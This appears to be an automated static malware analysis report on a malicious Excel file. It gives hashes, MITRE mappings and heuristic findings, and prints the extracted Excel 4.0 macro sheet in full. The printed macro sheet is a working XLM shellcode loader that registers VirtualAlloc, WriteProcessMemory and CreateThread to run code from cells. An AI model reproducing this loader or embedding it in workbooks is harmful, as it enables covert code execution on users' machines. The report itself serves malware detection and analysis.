Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a5938f60a25f4fab…

MALICIOUS

Office (OOXML)

9.5 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-06-20
MD5: 9fc598a960404970066dac6dc48b9789 SHA-1: 44ab3daaf703ba74a95a2dfb78497413e2b29d70 SHA-256: a5938f60a25f4fabb2ea7e8c775f8aea7e0f02f7011d2ec76e65915c7ec1f403
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros that utilize the REGISTER function to call Win32 APIs like VirtualAlloc and WriteProcessMemory. This indicates an attempt to allocate memory and write malicious code into it, likely for executing a second-stage payload. The use of these dangerous API calls suggests a downloader or dropper functionality.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2916 bytes
SHA-256: 233bf79a0fd48d3a63567875d3984664b84c231a4abd3ee2fa04e1a576403c2e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{D7AC6F74-1641-4F24-A9F1-BA2E6D077138}"><dimension ref="A1:B13"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"><selection activeCell="B4" sqref="B4"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="1" width="33.88671875" bestFit="1" customWidth="1"/></cols><sheetData><row r="1" spans="1:2" x14ac:dyDescent="0.3"><c r="A1" t="b"><f>REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9)</f><v>0</v></c><c r="B1" t="s"><v>1</v></c></row><row r="2" spans="1:2" x14ac:dyDescent="0.3"><c r="A2" t="e"><f>Valloc(0,1000000,4096,64)</f><v>#NAME?</v></c><c r="B2" t="s"><v>2</v></c></row><row r="3" spans="1:2" x14ac:dyDescent="0.3"><c r="A3" t="b"><f>REGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WProcessMemory",,1,9)</f><v>0</v></c><c r="B3" t="s"><v>3</v></c></row><row r="4" spans="1:2" x14ac:dyDescent="0.3"><c r="A4" s="1" t="b"><f>SELECT($B$1:$1000:$1000:$B:$B,$B$1)</f><v>0</v></c></row><row r="5" spans="1:2" x14ac:dyDescent="0.3"><c r="A5" t="b"><f>SET.VALUE($C$1,0)</f><v>0</v></c></row><row r="6" spans="1:2" x14ac:dyDescent="0.3"><c r="A6" t="b"><f>WHILE(ATIVE.CELL()&gt;"END")</f><v>0</v></c></row><row r="7" spans="1:2" x14ac:dyDescent="0.3"><c r="A7" t="e"><f>WProcessMemory(-1,$A$2+$C$1*255,ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)</f><v>#NAME?</v></c></row><row r="8" spans="1:2" x14ac:dyDescent="0.3"><c r="A8" t="b"><f>SET.VALUE($C$1,$C$1+1)</f><v>0</v></c></row><row r="9" spans="1:2" x14ac:dyDescent="0.3"><c r="A9" t="b"><f>SELECT(,"R[1]C")</f><v>0</v></c></row><row r="10" spans="1:2" x14ac:dyDescent="0.3"><c r="A10" t="b"><f>NEXT()</f><v>0</v></c></row><row r="11" spans="1:2" x14ac:dyDescent="0.3"><c r="A11" t="b"><f>REGISTER("Kernel32","CreateThread","JJJJJJJ","Cthread",,1,9)</f><v>0</v></c></row><row r="12" spans="1:2" x14ac:dyDescent="0.3"><c r="A12" t="e"><f>Cthread(0,0,$A$2,0,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="1:2" x14ac:dyDescent="0.3"><c r="A13" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>